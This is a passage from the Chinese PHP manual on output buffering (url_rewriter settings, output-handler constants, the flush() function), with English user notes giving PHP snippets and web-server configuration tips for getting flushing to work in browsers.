在 Web 环境中使用 PHP 时，打开这个选项会严重影响性能，通常只推荐在调试时使用。在 CLI SAPI 操作时，此值默认为 true。

参见 ob_implicit_flush()。

url_rewriter.tags string
url_rewriter.tags 指定哪些 HTML 标签由 output_add_rewrite_var() 值重写。默认为 a=href,area=href,frame=src,input=src,form= form 是特殊标签。添加 <input hidden="session_id" name="session_name"> 为表单变量。

Note: 在 PHP 7.1.0 之前，使用 url_rewriter.tags 指定 session.trans_sid_tags。自 PHP 7.1.0 起，fieldset 不再视为特殊标签。

url_rewriter.hosts string
url_rewriter.hosts 可以指定重写那些主机包含 output_add_rewrite_var() 值。默认是 $_SERVER['HTTP_HOST']。通过","指定多个主机，且每个主机间不能带空格。比如：php.net,wiki.php.net,bugs.php.net

User Contributed Notes

support at losalgendesign dot com 09-Aug-2013 04:46
Using "OFF" or no value on output_buffering will disable header modifications, like redirects or content-type or content-disposition resulting in the error we commonly attribute to output before header modifications:

Warning: Cannot modify header information - headers already sent by (output started at C:\PATH\filename.php:1) C:\PATH\filename.php on line 1

Example code with output_buffering = OFF which results in this behavior.  Changing it to "ON" or giving it a value will likely cause normal behavior.

<?php header("Location: http://www.php.net"); ?>

or

<?php header("Content-Type: text/Calendar"); ?>
<?php header("Content-Disposition: inline; filename=appointment.ics"); ?>


预定义常量

下列常量作为 PHP 核心的一部分总是可用的。

PHP_OUTPUT_HANDLER_START (int)

表示输出缓冲已经开始。

PHP_OUTPUT_HANDLER_WRITE (int)

表示输出缓冲正在刷新，并且有数据要输出。

PHP_OUTPUT_HANDLER_FLUSH (int)

表示缓冲已清空。

PHP_OUTPUT_HANDLER_CLEAN (int)

表示输出缓冲已清空。

PHP_OUTPUT_HANDLER_FINAL (int)

表示这是最后一次输出缓冲操作。

PHP_OUTPUT_HANDLER_CONT (int)

表示缓冲已清空，但输出缓冲将继续。

这是 PHP_OUTPUT_HANDLER_WRITE 的别名。

PHP_OUTPUT_HANDLER_END (int)

表示输出缓冲已结束。

这是 PHP_OUTPUT_HANDLER_FINAL 的别名。

PHP_OUTPUT_HANDLER_CLEANABLE (int)

控制 ob_start() 创建的输出缓冲是否可以清除。

PHP_OUTPUT_HANDLER_FLUSHABLE (int)

控制 ob_start() 创建的输出缓冲是否可以刷新。

PHP_OUTPUT_HANDLER_REMOVABLE (int)

控制 ob_start() 创建的输出缓冲是否可以在脚本结束前移除。

PHP_OUTPUT_HANDLER_STDFLAGS (int)

输出缓冲 flag 的默认设置；当前等同于 PHP_OUTPUT_HANDLER_CLEANABLE | PHP_OUTPUT_HANDLER_FLUSHABLE | PHP_OUTPUT_HANDLER_REMOVABLE.

User Contributed Notes

There are no user contributed notes for this page.


示例

Table of Contents

  • 基本用法
  • 输出重写用法

User Contributed Notes

There are no user contributed notes for this page.


基本用法

Example #1 输出控制举例

<?php

ob_start();
echo "Hello\n";

setcookie("cookiename", "cookiedata");

ob_end_flush();

?>

在上面的例子中，echo 函数的输出将一直被保存在输出缓冲区中直到调用 ob_end_flush()。同时对 setcookie() 的调用也成功存储了 cookie，而不会引起错误。（数据已发送到浏览器后，消息头通常无法发送。）

User Contributed Notes

dario dot cangialosi at gmail dot com 25-Feb-2019 01:40
<?php
function  ob($function){
ob_start();
$function();
$produced = ob_get_contents();
ob_end_clean();
return $produced;
}
echo ob(function(){echo 123;})=='123'?"echo captured\n":'';


输出重写用法

自 PHP 7.1.0 起，output_add_rewrite_var()、output_reset_rewrite_vars() 使用专用的输出缓冲区。即不使用 trans sid 输出缓冲区。

Example #1 输出重写示例

<?php
// 此代码仅适用于 PHP 7.1.0、7.0.10、5.6.25 及更高版本。

// HTTP_HOST 是默认目标主机。手动设置以使示例代码工作。
$_SERVER['HTTP_HOST'] = 'php.net';

// 输出重写仅重写表单。添加 a=href.
// 可以指定标签 tag_name=url_attr, e.g. img=src,iframe=src
// 设置间不允许有空格。
// 表单标签是添加隐藏输入的特殊标签。
ini_set('url_rewriter.tags','a=href,form=');
var_dump(ini_get('url_rewriter.tags'));

// This is added to URL and form
output_add_rewrite_var('test', 'value');
?>
<a href="//php.net/index.php?bug=1234">bug1234</a>
<form action="https://php.net/?bug=1234&edit=1" method="post">
<input type="text" name="title" />
</form>

以上示例会输出：

<a href="//php.net/?bug=1234&test=value">bug1234</a>
<form action="https://php.net/?bug=1234&edit=1" method="post"><input type="hidden" name="test" value="value" />
 <input type="text" name="title" />
</form>

自 PHP 7.1.0 起，输出重写函数有自己的 INI 设置：url_rewriter.tags 和 url_rewriter.hosts。

User Contributed Notes

There are no user contributed notes for this page.


输出控制 函数

参见

参阅 header() 和 setcookie()。

Table of Contents

  • flush — 刷新系统输出缓冲区
  • ob_clean — 清空（擦掉）输出缓冲区
  • ob_end_clean — 清空（擦除）缓冲区并关闭输出缓冲
  • ob_end_flush — 冲刷出（送出）输出缓冲区内容并关闭缓冲区
  • ob_flush — 冲刷出（送出）输出缓冲区中的内容
  • ob_get_clean — 得到当前缓冲区的内容并删除当前输出缓冲区
  • ob_get_contents — 返回输出缓冲区的内容
  • ob_get_flush — 刷新输出缓冲区，将其作为字符串返回并关闭输出缓冲区
  • ob_get_length — 返回输出缓冲区内容的长度
  • ob_get_level — 返回输出缓冲机制的嵌套级别
  • ob_get_status — 得到所有输出缓冲区的状态
  • ob_gzhandler — ob_start 回调函数压缩输出缓冲区
  • ob_implicit_flush — 打开/关闭绝对刷送
  • ob_list_handlers — 列出所有使用的输出处理程序
  • ob_start — 打开输出控制缓冲
  • output_add_rewrite_var — 添加URL重写器的值（Add URL rewriter values）
  • output_reset_rewrite_vars — 重设URL重写器的值（Reset URL rewriter values）

User Contributed Notes

Attila Houtkooper 13-Jun-2015 07:10
Take care to take exceptions in the code in mind when using ob_start and ob_get_contents. If you do not do this, the number of calls to ob_start will not match those to ob_end and you're not gonna have a good time.

<?php
public function requireIntoVariable($path) {
    ob_start();

    try {
        require $path;
    } catch (Exception $e) {
        ob_end_clean();
        throw $e;
    }

    $output = ob_get_contents();
    ob_end_clean();
    return $output;
}
?>
Anonymous 20-Apr-2009 12:24
You possibly also want to end your benchmark after the output is flushed.

<?php
your_benchmark_start_function();

ob_start ();
for ($i = 0; $i < 5000; $i++)
    echo str_repeat ("your string blablabla bla bla", (rand() % 4) + 1)."<br>\n";

                              <----------
echo your_benchmark_end_function();      |
ob_end_flush (); ------------------------
?>
della at sun dot com 25-Nov-2008 01:08
Sometimes users are blaming about slow pages ... not being aware that mostly this is due to network issues.
So I've decided to add some statistics at the end of my pages:

At beginning I start the counters:

<?php
  function microtime_float() {
    if (version_compare(PHP_VERSION, '5.0.0', '>'))  return microtime(true);
    list($u,$s)=explode(' ',microtime()); return ((float)$u+(float)$s);
  }
  $initime=microtime_float();
  ob_start();
  ob_implicit_flush();
?>

And at the end I show the statistics:

<?php
  echo "PHP Time: ".round((microtime_float()-$initime)*1000)." msecs. ";
  echo "Size: ".round_byte(strlen(ob_get_contents()));
  ob_end_flush();
?>

(round_byte is my function to print byte sizes)
jgeewax a t gmail 29-Jun-2007 07:02
It seems that while using output buffering, an included file which calls die() before the output buffer is closed is flushed rather than cleaned. That is, ob_end_flush() is called by default.

<?php
// a.php (this file should never display anything)
ob_start();
include('b.php');
ob_end_clean();
?>

<?php
// b.php
print "b";
die();
?>

This ends up printing "b" rather than nothing as ob_end_flush() is called instead of ob_end_clean(). That is, die() flushes the buffer rather than cleans it. This took me a while to determine what was causing the flush, so I thought I'd share.
basicartsstudios at hotmail dot com 21-Jan-2007 10:39
Sometimes you might not want to include a php-file under the specifications defined in the functions include() or require(), but you might want to have in return the string that the script in the file "echoes".

Include() and require() both directly put out the evaluated code.

For avoiding this, try output-buffering:
<?php
ob_start();
eval(file_get_contents($file));
$result = ob_get_contents();
ob_end_clean();
?>
or
<?php
ob_start();
include($file);
$result = ob_get_contents();
ob_end_clean();
?>
which i consider the same, correct me if I'm wrong.

Best regards, BasicArtsStudios
trucex [um, at] gmail [um, dot] com 16-Sep-2006 02:08
Unfortunately, the PHP guys didn't build support into any of the image output functions to return the image instead of outputting it.

Fortunately, we have output buffering to fix that.

<?php

$im = imagecreatetruecolor(200, 200);

// Other image functions here...

ob_start();
imagepng($im);
$imageData = ob_get_contents();
ob_clean();

?>

You can now use the $imageData variable to either create another GD image, save it, put it in a database, make modifications to the binary, or output it to the user. You can easily check the size of it as well without having to access the disk...just use strlen();
webmaster at wistex dot com 07-Sep-2006 04:07
Now this just blew my mind. I had a problem with MySQL being incredibly slow on Windows 2003 running IIS... on ASP/VBScript pages. PHP is also installed on the server and so is Microsoft SQL 2005 Express. (Yes, we're running ASP, PHP, MySQL and MS SQL on the same Windows 2003 Server using IIS.)

I was browsing the internet for a solution and saw a suggestion that I change output_buffering to on if MySQL was slow for PHP pages.  Since we also served PHP pages with MySQL from the same server, it caught my eye.  For the hell of it, I went into php.ini and changed output_buffering to on and suddenly MySQL and ASP was faster... MySQL and PHP was faster... Microsoft SQL Server 2005 Express and ASP was faster.... everything was faster... even stuff that had no PHP!

And I didn't even have to restart IIS. As soon as I saved the php.ini file with the change, everything got faster.

Apparently PHP and MySQL and IIS are so intertwined somehow that changing the buffering setting really effects the performance of the entire server.

So, if you are having performance problems on Windows 2003 & IIS, you might try setting output_buffering = On in php.ini if you happen to have PHP installed.  Having it set to off apparently effects the performance of Windows 2003 and IIS severely... even for webpages that do not use PHP or MySQL.
kamermans at teratechnologies dot net 21-Aug-2006 01:30
Output buffering is set to '4096' instead of 'Off' or '0' by default in the php-5.0.4-10.5 RPM for Fedora Core release 4 (Stentz).  This has cost me much time!
kend52 at verizon dot net 23-Jun-2005 11:25
I ran out of memory, while output buffering and drawing text on imported images. Only the top portion of the 5MP image was displayed by the browser.  Try increasing the memory limit in either the php.ini file( memory_limit = 16M; ) or in the .htaccess file( php_value memory_limit "16M" ). Also see function memory_get_usage() .
gruik at libertysurf dot fr 10-Jul-2004 05:53
For those who are looking for optimization, try using buffered output.

I noticed that an output function call (i.e echo()) is somehow time expensive. When using buffered output, only one output function call is made and it seems to be much faster.
Try this :

<?php
your_benchmark_start_function();

for ($i = 0; $i < 5000; $i++)
    echo str_repeat ("your string blablabla bla bla", (rand() % 4) + 1)."<br>\n";

echo your_benchmark_end_function();
?>

And then :

<?php
your_benchmark_start_function();

ob_start ();
for ($i = 0; $i < 5000; $i++)
    echo str_repeat ("your string blablabla bla bla", (rand() % 4) + 1)."<br>\n";

echo your_benchmark_end_function();
ob_end_flush ();
?>


刷新系统输出缓冲区

  • ? 输出控制 函数
  • ob_clean ?
  • PHP Manual
  • 输出控制 函数
  • 刷新系统输出缓冲区

flush

(PHP 4, PHP 5, PHP 7, PHP 8)

flush — 刷新系统输出缓冲区

说明

flush(): void

刷新 PHP 的系统写入缓冲区，且不管 PHP 使用什么后端（CGI、Web 服务器等）。尝试推送当前输出到浏览器，但有一些警告。

flush() 无法覆盖 Web 服务器的缓冲方案，并且不会对任何浏览器中的客户端缓冲起作用。也不会对 PHP 的用户级别输出缓冲机制起作用。这意味着 ob_flush() 应该在 flush() 之前调用，以刷新缓冲区（如果正在使用）。

个别服务器，特别是 Win32，在结果传输到浏览器之前，仍然会缓冲脚本的输出，直到程序结束为止。

Apache 的服务器模块（比如 mod_gzip），可能自己进行输出缓冲，这将导致 flush() 不会将数据立即发送到客户端浏览器。

甚至浏览器也会在显示之前进行输入缓冲。例如 Netscape 浏览器会在接受到行尾或开始标记之前缓冲文本，且在接收到 </table> 标记之前，不会渲染出整个表格。

Microsoft Internet Explorer 的某些版本只有当接收到的 256 个字节的输出以后才开始显示页面，所以必须在刷新之前发送额外的空格来让这些浏览器显示页面。

参数

此函数没有参数。

返回值

没有返回值。

参见

  • ob_flush() - 冲刷出（送出）输出缓冲区中的内容
  • ob_clean() - 清空（擦掉）输出缓冲区
  • ob_end_flush() - 冲刷出（送出）输出缓冲区内容并关闭缓冲区
  • ob_end_clean() - 清空（擦除）缓冲区并关闭输出缓冲

User Contributed Notes

fran at fran dot cr 28-Aug-2020 03:29
If you want to make flush work when using php-fpm from Apache httpd with mod_proxy_fcgi, since 2.4.31 you can append flushpackets=on to enable flushing, which is instant by default, and and flushwait=n where n is in milliseconds to delay the flushing time for performance seconds.

These values can be appended to the <Proxy> directive, e.g. <Proxy "fcgi://localhost/" flushpackets=on flushwait=500> or in ProxyPass and ProxyPassMatch lines.

The mod_proxy_fcgi documentation for 2.4 does not document this, but it is available in the 2.5 or trunk documentation.
glafarge 27-Mar-2020 06:20
When using PHP with mode CGI/FastCGI there is a new buffer (initiated by mod_fcgid with a default size of 65536 bytes). That causes `flush()` and `ob_flush()` not working as expected with implicit_flush(true).
Setting "OutputBufferSize 0" in mod_fcgid config resolves the issue.
Hope it helps !
Anonymous 07-Aug-2019 06:28
Regarding buffering by browser you can use:

$out=str_pad($yourMessage.'<br/>',1024);
print($out);
ob_flush();
flush();

Works for me in Firefox 60 ESR.
php nospace juju ta ggooggle mail 06-Oct-2015 10:53
combining some ideas i was finally able to get a long running script to give me real time feedback on what it was doing.  this was a wamp setup with php running as cgi.  i'm pretty sure that apache just wasn't sending any of the buffered output because it was trying to be helpful. also trying to be helpful, i hope this example solution helps someone.

<?php
// thx mandor at mandor
ini_set('max_execution_time', 0);
ini_set('implicit_flush', 1);
ob_implicit_flush(1);

echo 'doing something';  my_flush();
sleep(5);
echo 'doing something else'; my_flush();
sleep(5);
echo 'finally done - hooray';

function my_flush() {
  // following matt at hevanet's lead
  for ($i=0;$i<10000;$i++) echo ' ';
  ob_flush();
  flush();
}
ohcc at 163 dot com 10-Jan-2015 07:04
Try to add more white spaces if your ob_flush() and flush() don't work, especially under NGINX.
However, too many white spaces can be a challenge to your web browser.
<?php
    ob_clean();
    while(true){
        echo str_repeat(' ',1024*1024*4);
        echo 'hello, world ...<br />';
        ob_flush();
        flush();
        usleep(1000);
    }
php at stelio dot net 01-Oct-2013 11:26
For a Windows system using IIS, the ResponseBufferLimit takes precedence over PHP's output_buffering settings. So you must also set the ResponseBufferLimit to be something lower than its default value.

For IIS versions older than 7, the setting can be found in the %windir%\System32\inetsrv\fcgiext.ini file (the FastCGI config file). You can set the appropriate line to:
  ResponseBufferLimit=0

For IIS 7+, the settings are stored in %windir%\System32\inetsrv\config. Edit the applicationHost.config file and search for PHP_via_FastCGI (assuming that you have installed PHP as a FastCGI module, as per the installation instructions, with the name PHP_via_FastCGI). Within the add tag, place the following setting at the end:
  responseBufferLimit="0"
So the entire line will look something like:
  <add name="PHP_via_FastCGI" path="*.php" verb="*" modules="FastCgiModule" scriptProcessor="C:\PHP\php-cgi.exe" resourceType="Either" responseBufferLimit="0" />
Alternatively you can insert the setting using the following command:
  %windir%\system32\inetsrv\appcmd.exe set config /section:handlers "/[name='PHP_via_FastCGI'].ResponseBufferLimit:0"
Kris 29-Jun-2012 01:19
I had a bunch of problems trying to get flush working on my windows box, I finally found a solution after reading everyones here and it not working.

1) Set output_buffering = 0
2) Set zlib.output_compression = 0

I then used Wireshark to monitor network packets, and indeed the server was pusing the data, but the browser was not displaying it.. So it was a browser buffer issue (I am on Firefox 13)

For me I needed to send about 1k of data before it would display the data. To do this I added more header information..
 In php.ini I set default_charset = "utf-8"
And that was enough to give me enough for the buffer issue.

You can also try doing
echo str_repeat(" ", 1024), "\n";
at the start of the script.

hope this helps
seb dot field at gmail dot com 18-Sep-2010 03:52
If flush() function does not work. You must set next options in php.ini like:

--[code]--
 output_buffering = Off
 ;output_handler =
 zlib.output_compression = Off
 ;zlib.output_handler =
--[^code^]--

If things does not work you must view headers from the server and check `Server` string.
In my case, as the frontend was Nginx webserver and Apache work as backend.
Accordingly, buffering must be disabled in Nginx config file.
To stop buffering you must add next string to config file:

--[code]--
proxy_buffering off;
--[^code^]--

and restart Nginx daemon.  More information about  configuration you find in documentation on the nginx website.
jason@jasonbaumgartner@info 16-Jun-2009 05:18
Many of the suggestions below are very helpful but I would just like to clarify something.

If you are making calls to a .php script with AJAX (xmlHttpReq) and use flush, this will send data to your script HOWEVER it will not set the xmlHttpReq.readyState to 4 -- which is a requirement to use the information sent (Firefox does however allow you to use the responseText property with a readyState == 3 but IE will throw an error).

To get around this, you will need to make sure of a couple things:

In your Apache php.ini config file, check to make sure that output buffering is disabled:

output_buffering = off

Next, disable gzip compression for the .php script that is called from your AJAX script by using the excellent suggestion from Mandor by placing the following at the top of your script:

@apache_setenv('no-gzip', 1);
@ini_set('zlib.output_compression', 0);

What causes this problem is that while the php child process is running under apache, apache is waiting for the script to complete before completely closing the connection.  Scripts that send information directly to the browser with echos and prints will get away with using flush followed by a sleep command and then clean up procedures.  However, if you notice in the status bar of your browser window, the connection is still held open by apache until the script completed ("Transferring" ... yadda yadda).

By turning off the Apache compression, the connection is terminated directly after a flush while still giving the user the ability to run a sleep command followed by clean up code.

This bit me because the AJAX was returning <img> tags to newly created images by php.  The cleanup script would then remove those images after completion.

Since Apache held the connection open, the readyState only changed to 4 AFTER my php cleanup fired -- thereby erasing the links referred to my the <img> tags.

With this solution, the readyState will change to 4 BEFORE the sleep command begins.

I hope this saves someone a lot of time and frustration.  AJAX requests are an entirely different beast compared with simple outputting to a browser window.
mandor at mandor dot net 22-Dec-2008 07:20
This is what I use to turn off pretty much anything that could cause unwanted output buffering and turn on implicit flush:

<?php

    @apache_setenv('no-gzip', 1);
    @ini_set('zlib.output_compression', 0);
    @ini_set('implicit_flush', 1);
    for ($i = 0; $i < ob_get_level(); $i++) { ob_end_flush(); }
    ob_implicit_flush(1);

?>

If it still fails though, keep in mind that Internet Explorer and Safari have a 1k buffer before incremental rendering kicks in, so you'll want to output some padding as well.
Arerano 16-Nov-2008 06:58
This helped me getting flushing to work.
Using apache with deflate.

Turning compression off for this script: (add it somewhere at the top of the script)
apache_setenv('no-gzip', '1');

However, this only works if php is running as a module rather than a cgi-extension and safe mode must be disabled.

You can also turn the compression off for a directory by making a .htaccess file and adding the following entry:
mod_gzip_on Off

However that affects the whole directory.
Hope I could help.
Mr.KTO 12-Oct-2008 06:14
IE 7, Opera 9.6, any. All is quite simple. Today I just fogot what i do every night, :)

<?php
// All you need is 256 spaces first
echo str_repeat(" ", 256)."<pre>"; flush();

// and ANY TAG before \r\n
echo "working...<br/>\r\n"; flush(); sleep(1); // this in cycle
?>
Lucas 27-Aug-2008 03:12
I just had some problems with flush() and ob_flush(). What I did to resolve this problem took me some time to figure out so I'd like to share what I came up with.

The main problem is the php setting "output_buffering" which can be set too large and will prevent your text from outputting. To change this value you can either set it in php.ini or you can add the line

php_value output_buffering "0"

to your .htaccess file. It will not work with ini_set() since it is PHP_INI_PERDIR.

Next thing is to begin with ob_start();
Then you need
ob_flush();
flush();
before any echo or print.

Your code might look like this:

<?php
ob_start();

for($i=0;$i<70;$i++)
{
    echo 'printing...<br />';
    ob_flush();
    flush();

    usleep(300000);
}

?>

Hope this helps anyone with the same problems.
David 07-May-2008 02:32
mod_security 2.x core rules will also prevent flush() from working.
chuck at artistan dot org 27-Jun-2007 06:57
had problems flushing tables to screen.
this worked for me

<?php
if (ob_get_level() == 0) ob_start();
loop{
    tables and stuff
    echo str_pad("<br>\n",8);
}
ob_flush();
flush();  // needed ob_flush
usleep(50000);// delay minimum of .05 seconds to allow ie to flush to screen
?>
mbilliet at gmail dot com 13-May-2007 03:13
Hello,

I had the same problems with sending a javascript after the <body></body> content has been sent to the browser (the script updates the content of an iframe).

Two solutions work for me:
   - add enough data (i.e.: extra dummy text like spaces) or,
   - echo the '</body>' tag at the end of the page

Note, that for the latter to work one should:
   - turn of output_buffering in php.ini and either:
      * turn on implicit_flush in its php.ini or,
      * call ob_implicit_flush(); at the beginning of a script

I preferr echoing the '</body>' tag at the end as it doesn't require any extra data to be sent over the wire and its much a neater coding technique.

Notes:
   - these worakarounds aren't needed when using perl and cgi,... .
   - you can leave the zlib.output_compression in your php.ini switched on

Kind regards and hoped this is of any help.

Maurits
macott[D0T]daiato[4T]gmail[D0T]com 24-Apr-2007 12:17
If flush() don't work remember to check if you have any antivirus caching the data sent to the browser.
Leon 30-Mar-2007 04:14
I've spent days trying to figure out why flush didn't work all of a sudden, while it used to work perfectly. Apparently, it was McAfee Spamkiller that caused problems. Disabling it didn't work, I had to completely remove it. Hope this helps someone.
Kirk 06-Feb-2007 12:25
If you're not explictly using the buffering functions, then ob_flush() is only necessary if output buffering is turned on in your php.ini file.

flush() is only necessary if implicit_flush is turned off in your php.ini file. Setting implicit_flush to on will remove the need for all these flush() calls, but it's generally only good in an extremely controlled environment. Turning on implicit_flush in a production environment can be bad.
no at spam dot com 03-Aug-2006 11:51
ob_flush();flush();

Not the other way around, because it wont work.
vlad at modomail dot com 05-Apr-2006 06:46
Sorry if this is off topic, but it's the closest place I could find :)  I had an issue with essentially running a CPU intensive task while updating the browser with a progress bar via javascript and flushing the buffer a lot.

When the script was running, it effectively blocked other pages from running.  I had a few extra httpd_preforks processes just waiting to be used, but they just sat there.  I wasn't reading a file, locking database tables or anything that I would suspect an exclusive lock on, just outputting a bunch of text to the browser.  I even tried throttling my loops to see if it was processor related but still had problems.

Finally, I found this in the php.ini file and changed the On to Off and it worked.

[Sockets]
; Use the system read() function instead of the php_read() wrapper.
sockets.use_system_read = Off

Posting in case someone else has the same issue (or if someone knows why this would make a difference :) ).
mega023 at gmail dot com 25-Nov-2005 03:54
If flush is not working probably mod_gzip is enabled.
To disable it just add following lines to .htaccess

<IfModule mod_gzip.c>
mod_gzip_on no
</IfModule>
mikael at oebb dot net 03-Oct-2005 01:47
Hi all.
Been scratching my head over data NOT flushed to IE (6) even though I tried strpad 4096 chars, all headers OK,  TABLE and no TABLE, flush and ob_flush - still a blank page. Tried adding a sleep(1) before flushing - and everything worked as a charm.

/Mikael
20-Sep-2005 12:37
In my testing, Internet Explorer 6.0 wouldn't flush anything nested in <table> or <td> tags, regardless of padding. But at the <body> level everything flushed with no fuss -- no padding or tags required.

Both Firefox 1.0 and Safari 2.0 could flush within tables, and both required a tag after the text (like <br>). Safari could flush only after the first 1024 characters where received. Firefox needed at least 8 characters per flush (but it could flush anything at the <body> level).

So the only thing that worked on all those browsers was this:

<html>
<body>
<?php  // not in table tags for IE
echo str_pad('',1024);  // minimum start for Safari
for ($i=10; $i>0; $i--) {
    echo str_pad("$i<br>\n",8);
    // tag after text for Safari & Firefox
    // 8 char minimum for Firefox
    flush();  // worked without ob_flush() for me
    sleep(1);
}
?>
</body>
</html>
js at jeansebastien dot com 16-Jul-2005 11:41
This will show each line at a time with a pause of 2 seconds.
(Tested under IEx and Firefox)

<?php

if (ob_get_level() == 0) ob_start();

for ($i = 0; $i<10; $i++){

        echo "<br> Line to show.";
        echo str_pad('',4096)."\n";

        ob_flush();
        flush();
        sleep(2);
}

echo "Done.";

ob_end_flush();

?>
MOELZE ?T GMX DOt DE (Michael) 15-May-2005 04:38
It is a bit complicated to work with the funktion flush() and you have to experiment with it a bit.
So if you design a site which has a timeloop at the end that calls a other site via a form data input (Data Submit) you have
to give something out to the buffer to get that new site loaden quick.

For example:

<?php
$instant=gettimeofday();
$timenow=$instant["sec"];//Start Time

//timeloop(e.g. for security_save after 30 min)
while (1) { echo "<b></b>";//Useless (only to quickload next
                                    //or same Site when do a switch)
flush();                          //giveout buffer
$instant=gettimeofday();
$timeactual=$instant["sec"]; //get Actual Time in Secs
$flag=(($timeactual>$timenow+$diff)? 1:0);//$diff=switchTime
if ($flag) { what_do_at_switch_Time();//Sec.Save etc.etc.
$timenow=$timeactual; } //Set new Start Time
sleep(5); //Or so...(Important)
} //End of while-Loop
?>

So you can programm a security save or other function in your site and if you do a switch the upload of the new or same site (the called site) works...
Alex 22-Apr-2005 02:35
Modified progress bar.. Works in IE, Mozilla+FF.

<html>
<head>
<style type="text/css"><!--

div {
 margin: 1px;
 height: 20px;
 padding: 1px;
 border: 1px solid #000;
 width: 275px;
 background: #fff;
 color: #000;
 float: left;
 clear: right;
 top: 38px;
 z-index: 9
}

.percents {
 background: #FFF;
 border: 1px solid #CCC;
 margin: 1px;
 height: 20px;
 position:absolute;
 width:275px;
 z-index:10;
 left: 10px;
 top: 38px;
 text-align: center;
}

.blocks {
 background: #EEE;
 border: 1px solid #CCC;
 margin: 1px;
 height: 20px;
 width: 10px;
 position: absolute;
 z-index:11;
 left: 12px;
 top: 38px;
 filter: alpha(opacity=50);
 -moz-opacity: 0.5;
 opacity: 0.5;
 -khtml-opacity: .5
}

-->
</style>
</head>
<body>

<?php

if (ob_get_level() == 0) {
    ob_start();
}
echo str_pad('Loading... ',4096)."<br />\n";
for ($i = 0; $i < 25; $i++) {
    $d = $d + 11;
    $m=$d+10;
    //This div will show loading percents
    echo '<div class="percents">' . $i*4 . '%&nbsp;complete</div>';
    //This div will show progress bar
    echo '<div class="blocks" style="left: '.$d.'px">&nbsp;</div>';
    flush();
    ob_flush();
    sleep(1);
}
ob_end_flush();
?>
<div class="percents" style="z-index:12">Done.</div>
</body>
</html>
Marty 14-Apr-2005 08:33
This is an extention of Rusty's comment below:

After sitting here for hours trying to make IE6 flush data out in the middle of a page (with it working perfectly in Firefox), I finally figured out the problem. IE will not display flushed data (even if it has it) unless the table that contains it is complete.

Every new element you want IE to display must not be in ANY kind of table at all. You must end all your tables.
Ghostshaw at spymac dot com 07-Apr-2005 04:45
I would like to point out that there is a function to replace ob_flush and flush. If you set ob_implicit_flush(true); at the top of the page it will automatically flush any echo or print you do in the rest of the script.

Note that you still need a minimum amount of data to come through the browser filter. I would advice using str_pad($text,4096); since this automatically lenghtens the text with spaces to 4 KB which is the minimum limit when using FireFox and linux.

I hope this helps you all out a bit.
matt at nospamplease dot hevanet dot com 21-Mar-2005 10:42
Like IE, Safari needs a fair amount of data before it'll display anything, actually more than explorer.  The following code works for me in Firefox and Safari, and should work in IE as well.

<?php

for($i = 0; $i < 40000; $i++)
{
echo ' '; // extra spaces
}
// keeps it flowing to the browser?
flush();
// 50000 microseconds keeps things flowing in safari, IE, firefox, etc
usleep(50000);

?>

This code came from a comment on a blog discussing browser functionality with flush();
crmacd at yahoo dot com 04-Mar-2005 03:28
I figured out a way to create a simple progress bar that is for the most part cross platform. Seeing as I got my ideas from this site it's only share to give back to the community.

Note: Something interesting about browser buffering... you have to have the <html><body> for Firefox and some other browsers to recognize items by their id in Javascript. So I recommend using some sort of header function before calling this function.

<?php

function fn_progress_bar($intCurrentCount = 100, $intTotalCount = 100)
{
    static $intNumberRuns = 0;
    static $intDisplayedCurrentPercent = 0;
    $strProgressBar = '';
    $dblPercentIncrease = (100 / $intTotalCount);
    $intCurrentPercent = intval($intCurrentCount * $dblPercentIncrease);
    $intNumberRuns++;

    if(1 == $intNumberRuns)
    {
        $strProgressBar = <<< BAR
<table width='50%' id='progress_bar' summary='progress_bar' align='center'><tbody><tr>
<td id='progress_bar_complete' width='0%' align='center' style='background:#CCFFCC;'>&nbsp;</td>
<td style='background:#FFCCCC;'>&nbsp;</td>
</tr></tbody></table>
<script type='text/javascript' language='javascript'>
function dhd_fn_progress_bar_update(intCurrentPercent)
{
    document.getElementById('progress_bar_complete').style.width = intCurrentPercent+'%';
    document.getElementById('progress_bar_complete').innerHTML = intCurrentPercent+'%';
}
</script>
BAR;
    }
    else if($intDisplayedCurrentPercent <> $intCurrentPercent)
    {
        $intDisplayedCurrentPercent = $intCurrentPercent;
        $strProgressBar = <<< BAR
<script type='text/javascript' language='javascript'>
dhd_fn_progress_bar_update($intCurrentPercent);
</script>
BAR;
    }
    if(100 <= $intCurrentPercent)
    {
        $intNumberRuns = $intDisplayedCurrentPercent = 0;
        $strProgressBar = <<< BAR
<script type='text/javascript' language='javascript'>
document.getElementById('progress_bar').style.visibility='hidden';
</script>
BAR;
    }
    echo $strProgressBar;
    flush();
    ob_flush();
}

?>
siggi AT june systems DOT com 04-Mar-2005 07:54
After searching through the PHP site, google and various forums, not finding a solution to my script not outputting anything while calling flush and ob_flush, I thought of trying to tell PHP to call:

session_write_close();

before starting echo'ing. It worked like a charm. I couldn't find any references to this, so I hope this note will help someone in the future.
Squ1sher 01-Feb-2005 12:25
On Windows xampp 1.3 with php 4.3.4 is use this functions
to force a flush.
<?php
function dummyErrorHandler ($errno, $errstr, $errfile, $errline) {
}

function forceFlush() {
    ob_start();
    ob_end_clean();
    flush();
    set_error_handler("dummyErrorHandler");
    ob_end_flush();
    restore_error_handler();
}
?>

ob_end_flush generates a warning, which is supressed, using the dummy-errorhander. You could also use @, but then nusphere will also print the warning.
Rusty 24-Feb-2004 09:25
Netscape will flush the output as expected at the point it is called from within your script. IE, however, needs a boost.

IE seems to have a condition where it will flush data when it hits an end (</table>) tag AND has at least 256 chars of data.

So, pad your output with necessary spaces, wrap your progressing data around open (<table>) and end (</table>) tags, and then call flush() so that one script will work for Netscape as well.

TESTING ENVIRONMENT
IE: Ver/6.0.2800
Netscape: Ver/7.1
PHP: Ver/4.3.4
Apache: Ver/1.3.27
m@rco 29-Oct-2003 07:22
in order to display in HTML pages something like a "progress bar" or if you want to force the web server to flush output to the browser, or the browser to flush as well, you can print a long enough "dummy" string to make the output buffer grow, as you probably know, like:

<?php
print "[";

for($i = 0; $i < 100; $i++){
  $spaces.=" ";
} // for

//and then

for($i = 0; $i < 10; $i++){
  for($ii = 0; $ii < 200000; $ii++){
    //do something slow here
  } // for
  print "$spaces|";
  flush();
} // for

print "]";

/*
but this somethin may be not really what you expect in
a progress bar, as it prints spaces (although rendered as single by the browser) between the bar units..
you can solve this using
  $spaces.="<!-- bufferme -->";

/*

print "[";

for($i = 0; $i < 100; $i++){
  $spaces.="<!-- bufferme -->";
} // for

//and then

for($i = 0; $i < 10; $i++){
  for($ii = 0; $ii < 200000; $ii++){
    //do something slow here
  } // for
  print "$spaces|";
  flush();
} // for

print "]";

//which looks nice as a progress bar..
?>
